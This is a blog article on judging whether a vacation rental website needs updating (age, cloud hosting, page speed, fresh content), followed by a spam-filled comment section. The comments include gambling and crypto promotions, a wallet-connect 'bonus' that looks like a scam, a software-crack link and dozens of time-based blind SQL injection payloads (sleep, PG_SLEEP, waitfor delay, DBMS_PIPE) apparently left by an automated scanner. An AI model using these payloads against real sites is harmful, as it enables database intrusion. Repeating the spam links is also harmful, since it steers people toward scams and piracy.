How To Find Out If Your Vacation Rental Website Is A Peach Or A Lemon?
Not all vacation rental websites are created equal.
Two sites can even look the same but one will outperform the other.
Sometimes one can be better by a country mile.
So, Is your vacation rental website a peach or a lemon?
The sad truth is that many hospitality operators are being sold sites that don’t perform.
In this article, I will talk you through a few things that will help determine whether you have a peach or a lemon.
Age
Ok. Stand back because this may hurt.
If your website is over 4 years old then the prognosis isn’t good.
Websites don’t age well and I’m not only talking about hospitality websites here.
You can pretty much measure a website’s age in dog years. If your site is 4 years old, it may as well be 28 years old in terms of web design, technology, and user expectation.
Web design is ever-changing and although these design trends are subtle, they are noticeable.
We all spend our days looking at our devices so we tend to notice, maybe only subliminally, when things are a little dated.
Have a look at the two images below…
The one on the left is from Airbnb’s homepage just 3 years ago and the one on the right is what it looks like now.
The two screenshots below show how Tripadvisor’s homepage looked in 2018 and how it looks now
As you can see, even the big companies are forever changing the look and feel of their websites.
These changes may be subtle but that’s the nature of web design
So, even though you may be thinking, “my site isn’t very old”, if it’s over 4 years old then you willl benefit from a makeover.
Technology
Technology moves on at an ever-increasing pace. We see this everywhere.
We replace our televisions with larger, higher definition models with surround sound. Our internet connections are way faster than they were just a few years ago. Our smartphones get smarter and smarter and our computers get more and more powerful. Even our refrigerators can now think for themselves.
These advancements in technology impact our websites.
You can now host your sites on dedicated cloud servers for less money than it costs to host on shared servers.
These cloud servers are faster and more secure than shared hosting.
In this article, you can see how I made a clients website 4 times faster for half the price, just by changing the hosting
Speed
The speed of your website plays an absolutely crucial role in your customer’s experience.
Here are the key factors
1. Website speed is the first impression you ever make.
If your site is fast you simply appear more professional
2. We expect speed!
47% of people expect your site to load in less than 2 seconds.
40% will abandon it entirely if it takes longer than 3 seconds.
3. User experience
Give users what they want and give it to them as fast as possible
4. A slow website kills your conversions
Imagine that just 100 people visit your site every month. If your site takes 4 seconds to load, you will lose 40 of those potential customers just because of those 4 seconds.
Amazon did tests that showed they would lose $1.6 BILLION every year if they slowed their website down by just one second. Read that sentence again. That’s a staggering fact.
5. The long-term effect of slow website speed
The 40 people that just left your site in the above scenario will never become guests, they’ll never tell their friends and family about your site or property. They’ll never share your details on social media.
6. Website speed affects your Google rank
Google is a speed freak. Its sole aim is to give people what they want and people want fast-loading experiences. Google knows how fast your site is and ranks it accordingly.
Just by making your site faster, you will increase your ranking on Google.
How easy is that!
Freshness
When your website initially goes live it’s like a freshly baked loaf of bread or a lovely juicy peach.
Google’s spiders rush to crawl all over it and it gets indexed and added to their search results.
The Google spiders are very busy creatures. They spend their days and nights looking at new websites and new pages and posts.
They don’t return to sites unless those sites are added to or changed.
So, unless you add to and/or update your site on a regular basis Google and its spiders won’t pay your site any attention.
Your freshly baked loaf becomes stale. Your peach becomes a lemon.
Summary
From time to time you need to give your site a health check.
Age plays a big part in this. As we ourselves get older, we don’t look or work as well as we used to. This also applies to our sites and like it or not, we need to redevelop our sites every 3 to 4 years. There’s no getting around this fact.
It’s a bit like going to the gym. It’s not all that enjoyable but it’s generally good for you.
Technology can work for or against you. Adopting the latest technology can really benefit both you and your site visitors. No one reading this article has a Nokia 3310 anymore. We all adopted smartphone technology because of the advantages that offers. Treat your website to the latest cloud-based tech. The CPU performance alone could be 58% faster.
The saying ‘speed is of the essence’ has never been more fitting. Don’t make them wait because they won’t wait. They will just leave.
Head over to https://www.thinkwithgoogle.com/intl/en-154/feature/testmysite and enter your domain name and Google will tell you exactly what it thinks of your website.
Take some time to read the report.
Take on board what it says because this is your shop window to the world.
Keep your site fresh. Add to it regularly. Add a simple “what’s on in the area” post each month and you’ll keep your site visitors informed and feed Google’s spiders at the same time.
Create a peach
Here at Rent More Weeks, we have a new website template available, along with a video course to help you customize it to your needs. It’s beautiful, very fast and it will help you create a peach of a website.
You can find out more about it here
Did You Like This Article?
Just fill in the form and keep up to date with developments in your business
How To Find Out If Your Vacation Rental Website Is A Peach Or A Lemon was written by Alan Egan
Alan Egan
Alan Egan has been building hospitality websites since 2003. He has helped over 700 owners and managers build their websites via his online courses. His design agency has also created 100’s of bespoke sites for the vacation rental sector.
He has given numerous presentations at The Vacation Rental World Summit, The VRMA, Host, The Direct Booking Conference, and VRMIntel.
Artificial intelligence creates content for the site, no worse than a copywriter, you can also use it to write articles. 100% uniqueness :). Click Here:👉 https://stanford.io/3FXszd0
Free. Sign up to receive $100, Trade to receive $5500. Click Here:👉 https://millionairego.page.link/free
Create super-engaging Instagram captions with this AI powered Instagram caption generator. This free AI powered Instagram caption generator will create the perfect caption for your photo and help you get more likes, followers and comments. Click Here:👉 https://stanford.io/3Fmnnxo
Artificial intelligence creates content for the site, no worse than a copywriter, you can also use it to write articles. 100% uniqueness,7-day free trial of Pro Plan, No credit card required:). Click Here:👉 https://bit.ly/3Py2Iv6
промокоды melbet. Click Here:👉 https://bit.ly/3YSgux0
1
ZmBc3Lc0
if(now()=sysdate(),sleep(15),0)
0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z
0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
-1; waitfor delay ‘0:0:15’ —
-1); waitfor delay ‘0:0:15’ —
1 waitfor delay ‘0:0:15’ —
5hRehZXl’; waitfor delay ‘0:0:15’ —
-5 OR 136=(SELECT 136 FROM PG_SLEEP(15))–
-5) OR 938=(SELECT 938 FROM PG_SLEEP(15))–
-1)) OR 285=(SELECT 285 FROM PG_SLEEP(15))–
555
1
-1 OR 2+62-62-1=0+0+0+1
-5 OR 462=(SELECT 462 FROM PG_SLEEP(15))–
qKt7PPCR’ OR 233=(SELECT 233 FROM PG_SLEEP(15))–
VQnyaTLz’)) OR 296=(SELECT 296 FROM PG_SLEEP(15))–
1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
1
1
1
1
1
555
TQmbsIfk
3vPLTQZZ’) OR 306=(SELECT 306 FROM PG_SLEEP(15))–
555
555
555
555
555
555
555
555
-1 OR 2+742-742-1=0+0+0+1 —
if(now()=sysdate(),sleep(15),0)
0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z
555
y1q5Ps5e’; waitfor delay ‘0:0:15’ —
-5) OR 989=(SELECT 989 FROM PG_SLEEP(15))–
-1′ OR 2+499-499-1=0+0+0+1 —
if(now()=sysdate(),sleep(15),0)
vLTn3wUh’)) OR 654=(SELECT 654 FROM PG_SLEEP(15))–
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
kG86BIsu’; waitfor delay ‘0:0:15’ —
-5) OR 240=(SELECT 240 FROM PG_SLEEP(15))–
cZuQmBOD’)) OR 48=(SELECT 48 FROM PG_SLEEP(15))–
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
ADOBE PREMIERE PRO CRACK | FEBRUARY 2023 UPLOAD https://youtu.be/nJhhKTPbsM4
Normally I don’t study articles on blogs, but I would say this one got me motivated to look it up and do it! I am amazed by your taste in writing. You can’t imagine how much time it took me to get this information! Thank you!
I agree with your point of view, your article has given me a lot of help and benefited me a lot. Thanks. Hope you continue to write such excellent articles.
I want to say this article is great, well written and has pretty much everything I need to know, I hope to see more posts like this.
code promo 1xbet. Click Here:👉 https://www.aamas.org/news/1xbet_free_code_registration.html
чат вирт. Click Here:👉 https://rt.beautygocams.com/
melbet промокод. Click Here:👉 https://mebel-3d.ru/libraries/news/?melbet_2020_promokod_dlya_registracii_besplatno.html
A great site, thanks for any other great posts. I got this site from my friend who told me about it and at this moment I am browsing this page and reading very useful articles or reviews of this place.
Hello! I have benefited a lot from reading your article. If you are interested, please feel free to send
my email. I look forward to hearing from you! excellent blog
This blog was quite descriptive, “온라인카지노” and I really liked it.
I read your blog from time to time and I have a similar one, the content of this site is Really great experience for people, well, keep up the good work folks.
No deposit bonus from https://zkasin0.site connect your wallet and enter promo code [3wedfW234] and get 0.7 eth + 100 free spins, Withdrawal without limits
Thanks for the great information, which I’m looking for for my assignment. You can’t imagine how much time I spent on this information! Thanks!
Your article helped me a lot, is there any more related content? Thanks! https://accounts.binance.com/zh-CN/register?ref=DB40ITMB
Amazing blog! Do you have any helpful hints for aspiring writers?
I’m planning to start my own blog soon but I’m a little lost on everything.
Would you recommend starting with a free platform like WordPress or go for a paid option? There are so many choices out there that
I’m totally overwhelmed .. Any ideas? Cheers!
Go boho with these chic and carefree hairstyles.
Because I really enjoy reading this blog
Posts are updated regularly. It includes great material.
Great blog right here! Also, you bring up some different points there.
I’m not sure where you got the information from, but it’s a good thread.
Thanks for all your great posts. I want to thank you for your hard work in writing this blog. I really hope to see the same high-quality content from you in the future.
I really like the design and layout of your blog which makes it even more enjoyable for me to come here and visit often. Keep going! I will keep bookmarking your site to come back in the future. Outstanding Work!
Explore Turkey’s UNESCO World Heritage Sites through our website. It’s a journey through time and culture.
Excellent post. I was checking constantly this blog and
I am impressed! Extremely useful information particularly the last part